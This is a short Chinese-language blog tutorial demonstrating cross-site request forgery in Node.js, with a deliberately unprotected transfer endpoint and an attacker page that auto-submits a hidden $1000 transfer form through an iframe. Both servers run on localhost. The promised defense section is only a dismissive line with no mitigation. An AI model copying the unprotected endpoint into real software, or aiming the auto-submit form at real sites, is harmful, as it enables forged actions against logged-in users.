【前端安全】跨站请求伪造(CSRF)nodejs案例

163 阅读1分钟

CSRF攻击利用了浏览器在发送请求时自动携带cookie的特性。攻击者通过诱导用户访问一个恶意网站,该网站可以向用户已登录的受信任网站发送请求,而用户的浏览器则在不知情的情况下附带了用户的登录凭证。

可受攻击的案例

下面是一个简单的Node.js案例,展示如何CSRF攻击。 受攻击的服务:

// test.js
const http = require('http');

const server = http.createServer((req, res) => {
  const url = req.url;
  const method = req.method;

  switch (url) {
    case '/':
      res.writeHead(200, { 'Content-Type': 'text/html' });
      res.end(`
        <h1>Home Page</h1>
        <a href="/login">Login</a>
      `);
      break;
    case '/login':
      if (method === 'GET') {
        res.writeHead(200, { 'Content-Type': 'text/html' });
        res.end(`
          <form action="/login" method="post">
            <input type="text" name="username" placeholder="Username">
            <input type="password" name="password" placeholder="Password">
            <input type="submit" value="Login">
          </form>
        `);
      } else {
        // 设置cookie
        // 假设验证成功
        res.writeHead(302, { Location: '/transfer','Set-Cookie': 'sessionid=1' });
        res.end('Login Successful. Redirecting to transfer page.');
      }
      break;
    case '/transfer':
      if (method === 'GET') {
        res.writeHead(200, { 'Content-Type': 'text/html' });
        // 没有CSRF保护的表单
        res.end(`
          <form action="/transfer" method="post">
            <input type="hidden" name="amount" value="1000">
            <input type="submit" value="Transfer $1000">
          </form>
        `);
      } else {
        // 处理转账请求(无CSRF检查)
        res.writeHead(200, { 'Content-Type': 'text/plain' });
        res.end('Transfer processed');
      }
      break;
    default:
      res.writeHead(404, { 'Content-Type': 'text/plain' });
      res.end('Not Found');
  }
});

const port = 3000;
server.listen(port, () => {
  console.log(`Server listening on port ${port}`);
});

攻击方:

// attack.js
const http = require('http');

const server = http.createServer((req, res) => {
    const url = req.url;
    switch (url) {
        case '/':
            res.end(`
            <iframe src="http://localhost:3001/abc" width="500" height="500" ></iframe>
            `);
            break;
        default:
            res.writeHead(200, { 'Content-Type': 'text/html' });
            res.end(`
          <form action="http://localhost:3000/transfer" method="post">
            <input type="hidden" name="amount" value="1000">
            <input type="submit" value="Steal $1000">
          </form>
          <script>
            document.querySelector('form').submit();
          </script>
          `);
    }
});

const port = 3001;
server.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

运行上面的文件:test.js,attack.js。

访问:localhost:3001

浏览器自动向 localhost:3000发送了申请。

image.png

实施CSRF防御

找个库改一改吧。 没什么好防御的。前端休息休息。